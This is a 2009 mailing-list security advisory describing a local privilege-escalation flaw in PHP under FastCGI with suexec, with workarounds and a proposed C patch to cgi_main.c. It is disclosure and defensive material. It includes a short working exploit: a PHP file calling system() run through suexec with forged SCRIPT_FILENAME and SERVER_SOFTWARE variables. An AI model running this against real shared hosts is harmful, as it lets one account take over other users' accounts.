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Local vulnerability in suexec + FastCGI + PHP configurations
From: Andrew Miller <sec.432 () amxl com>
Date: Wed, 11 Feb 2009 23:22:51 +1300

DISCLAIMER: THIS SECURITY ADVISORY IS PROVIDED AS-IS, AND WITHOUT ANY
GUARANTEE OF ANY KIND THAT THE INFORMATION IS ACCURATE, OR THAT THE
WORKAROUND, SOLUTIONS, OR PATCHES PROVIDED WILL PROTECT SYSTEMS, OR THAT
THEY WILL NOT CREATE NEW PROBLEMS. THE AUTHOR ACCEPTS NO LIABILITY OF
ANY FORM FOR THE INFORMATION CONTAINED WITHIN OR THE CONSEQUENCES OF ITS
USE OR MISUSE.

Synopsis:
  Most current installations of PHP set up to run via FastCGI with
suexec are vulnerable to a local exploit, where anyone with the ability
to run code as the user the webserver runs as can gain access as any
user with an account set up to run PHP. It is anticipated that this
issue will especially affect shared web hosts who use FastCGI + suexec
thinking it will give them additional security.

Conditions for exploitation:
  => PHP needs to be used via CGI or FastCGI.
  => The system must be set up to use suexec (rather than, say, having
PHP run as an external FastCGI server).
  => The attacker must be able to run code as the same user that the
webserver runs as. This is unlikely to be a problem for many local
attackers, because there are a multitude of possible attack vectors,
such as SSI, non-suexec CGI scripts, non-suexec PHP (if mod_php is also
installed), and likely numerous other options.
  => Depending on the configuration, setting an open_basedir might
protect an installation. However, this only applies if open_basedir is
set, php-cgi is not installed directly into the web space, but is
instead called from a script which doesn't pass any parameters from the
script command line.

Affected PHP versions:
  => All versions of PHP (including PHP 5.2.8 and latest CVS) in
existence at the date of this advisory are believed to be affected.

Vendor notification:
  security () php net has been informed of this issue. Antony Dovegal
replied to say:
     "It's been agreed that we won't implement any more security hacks
in PHP itself since such things should be done by the OS, so no more
magic INI settings."
  As such, it appears that the PHP developers do not intend to add any
technical measures against this vulnerability. It should be noted that
while this is a vulnerability in a way of installing PHP, it appears
that there is no way to securely set up a suexec + FastCGI + PHP
installation using an unpatched version of PHP and so it is hoped that
the PHP developers will reconsider in time.

Work-arounds:
  A proposed patch is provided later which can be applied to PHP to
protect against this vulnerability (when coupled with an appropriate
configuration). This patch has been briefly tested to ensure it works,
but requires more testing and review before it should be used in
production. No guarantees are made about it.

  Using a permanently running external FastCGI process per user is an
alternative solution if the cost of these extra processes is tolerable.

  Setting open_basedir from within php.ini may be a possible workaround
(but only if nowhere in open_basedir is writable to the attacker), but
only if PHP is called from a script which also sets SERVER_SOFTWARE and
doesn't pass through the command line arguments. For example:
#!/bin/bash
export SERVER_SOFTWARE=blah
/usr/bin/php-cgi -c /home/myuser/php.ini

Technical details of attack:
  PHP does not place any restrictions on what it will run, even when
called from suexec. This means that by manipulating the environment
variables passed in to php-cgi when calling via suexec, an attacker can
execute arbitrary PHP scripts with the user of the owner of the PHP
script (and if SERVER_SOFTWARE is not set, can also pass in PHP code to
be executed via stdin).

The filtering of environment variables by suexec does not protect
against this attack, because the environment variables needed to perform
the attack are passed through suexec. Likewise, setting doc_root and
user_dir in php.ini (as recommended in the security section of the PHP
manual) provides no protection, as the attacker has full control of
environments indicating the base directory.

Example of exploitation:
  Suppose that suexec php is set up as follows:
In /home/wwjargon/public_html/php.fcgi we have:
#!/bin/bash
/usr/bin/php-cgi -c /home/wwjargon/php.ini

In .htaccess we have:
Action php-fcgi /php.fcgi
AddHandler php-fcgi .php

This is a fairly common set up. It can be exploited as follows (www-data
is the username the webserver runs as):

$ whoami
www-data
$ cat >/tmp/exploit.php
<?php system("whoami");
$ cd /home/wwjargon/public_html/
$ SCRIPT_FILENAME=/tmp/exploit.php SERVER_SOFTWARE=blah
/usr/lib/apache2/suexec "~wwjargon" wwjargon php.fcgi
X-Powered-By: PHP/5.2.6-2ubuntu4
Content-type: text/html

wwjargon

Patch for PHP to provide protection:
  This patch has been briefly tested to ensure it works, but requires
more testing and review before it should be used in production. No
guarantees are made about it.

diff -rbud ./php-5.2.8-orig/sapi/cgi/cgi_main.c
./php-5.2.8/sapi/cgi/cgi_main.c
--- ./php-5.2.8-orig/sapi/cgi/cgi_main.c    2009-02-10
21:37:09.000000000 +1300
+++ ./php-5.2.8/sapi/cgi/cgi_main.c    2009-02-11 00:07:51.000000000 +1300
@@ -67,6 +67,9 @@
#include <fcntl.h>
#include "win32/php_registry.h"
#endif
+#ifdef HAVE_PWD_H
+#include <pwd.h>
+#endif

#ifdef __riscos__
#include <unixlib/local.h>
@@ -170,6 +173,10 @@
     zend_bool impersonate;
# endif
#endif
+#ifdef HAVE_PWD_H
+    char* suexec_base_dir;
+    char* suexec_user_dir;
+#endif
} php_cgi_globals_struct;

#ifdef ZTS
@@ -1232,6 +1239,10 @@
     STD_PHP_INI_ENTRY("fastcgi.impersonate",     "0",  PHP_INI_SYSTEM,
OnUpdateBool,   impersonate, php_cgi_globals_struct, php_cgi_globals)
# endif
#endif
+#ifdef HAVE_PWD_H
+    STD_PHP_INI_ENTRY("cgi.suexec_base_dir",     NULL, PHP_INI_SYSTEM,
OnUpdateString, suexec_base_dir, php_cgi_globals_struct, php_cgi_globals)
+    STD_PHP_INI_ENTRY("cgi.suexec_user_dir",     NULL, PHP_INI_SYSTEM,
OnUpdateString, suexec_user_dir, php_cgi_globals_struct, php_cgi_globals)
+#endif
PHP_INI_END()

/* {{{ php_cgi_globals_ctor
@@ -1254,6 +1265,10 @@
     php_cgi_globals->impersonate = 0;
# endif
#endif
+#ifdef HAVE_PWD_H
+    php_cgi_globals->suexec_base_dir = NULL;
+    php_cgi_globals->suexec_user_dir = NULL;
+#endif
}
/* }}} */

@@ -1708,6 +1723,10 @@
#if PHP_FASTCGI
             && !fastcgi
#endif
+#ifdef HAVE_PWD_H
+            && CGIG(suexec_base_dir) == NULL
+            && CGIG(suexec_user_dir) == NULL
+#endif
         ) {
             while ((c = php_getopt(argc, argv, OPTIONS, &php_optarg,
&php_optind, 0)) != -1) {
                 switch (c) {
@@ -1884,6 +1903,10 @@
#if PHP_FASTCGI
             || fastcgi
#endif
+#ifdef HAVE_PWD_H
+            || CGIG(suexec_base_dir) != NULL
+            || CGIG(suexec_user_dir) != NULL
+#endif
         )
         {
             file_handle.type = ZEND_HANDLE_FILENAME;
@@ -1922,9 +1945,49 @@
         */
         retval = FAILURE;
         if (cgi || SG(request_info).path_translated) {
+#ifdef HAVE_PWD_H
+            zend_bool path_ok = !(CGIG(suexec_base_dir) ||
+                                  CGIG(suexec_user_dir));
+            if (!path_ok && SG(request_info).path_translated)
+            {
+                struct stat statbuf;
+                char *real_path =
tsrm_realpath(SG(request_info).path_translated, NULL TSRMLS_CC);
+
+                virtual_stat(SG(request_info).path_translated, &statbuf
TSRMLS_CC);
+                /* Only execute if the script is owned by the current user,
+                 * the user execute bit is set, and it is not group or
world
+                 * writable.
+                 */
+                if (statbuf.st_uid == geteuid() &&
+                    (statbuf.st_mode & 0100) == 0100 &&
+                    (statbuf.st_mode & 022) == 0) {
+                    if (CGIG(suexec_base_dir) && !strncmp(real_path,
CGIG(suexec_base_dir), strlen(CGIG(suexec_base_dir)))) {
+                        path_ok = 1;
+                    }
+                    if (!path_ok && CGIG(suexec_user_dir)) {
+                        struct passwd* pw = getpwuid(geteuid());
+                        size_t len = strlen(pw->pw_dir) + 1 +
strlen(CGIG(suexec_user_dir)) + 2;
+                        char * user_dir = malloc(len);
+                        strcpy(user_dir, pw->pw_dir);
+                        strlcat(user_dir, "/", len);
+                        strlcat(user_dir, CGIG(suexec_user_dir), len);
+                        strlcat(user_dir, "/", len);
+                        if (!strncmp(real_path, user_dir, len - 1))
+                            path_ok = 1;
+                        free(user_dir);
+                    }
+                    free(real_path);
+                }
+            }
+
+            if (path_ok) {
+#endif
             if
(!php_check_open_basedir(SG(request_info).path_translated TSRMLS_CC)) {
                 retval = php_fopen_primary_script(&file_handle TSRMLS_CC);
             }
+#ifdef HAVE_PWD_H
+            }
+#endif
         }
         /*
             if we are unable to open path_translated and we are not

Usage of the patch:
  => Apply to PHP 5.2.8 and rebuild and install php-cgi.
  => Replace the scripts in the web directory with a script like:
#!/bin/bash
/usr/bin/php-cgi -c /etc/php.ini

  Then in php.ini, you have two new configuration options:
cgi.suexec_base_dir
cgi.suexec_user_dir

  If either of these directives are set, extra security checks are
enabled. If both are set, the security checks for one or the other of
the directives must pass.

  cgi.suexec_base_dir restricts script execution to paths starting with
the directive (include a trailing slash if you don't want it to be used
as a prefix).

  cgi.suexec_user_dir gives a path relative to the users home directory
where PHP will execute code from.

  In addition, any PHP scripts to be executed must be owned by the same
user, have the execute bit set, and not be group or world writable.


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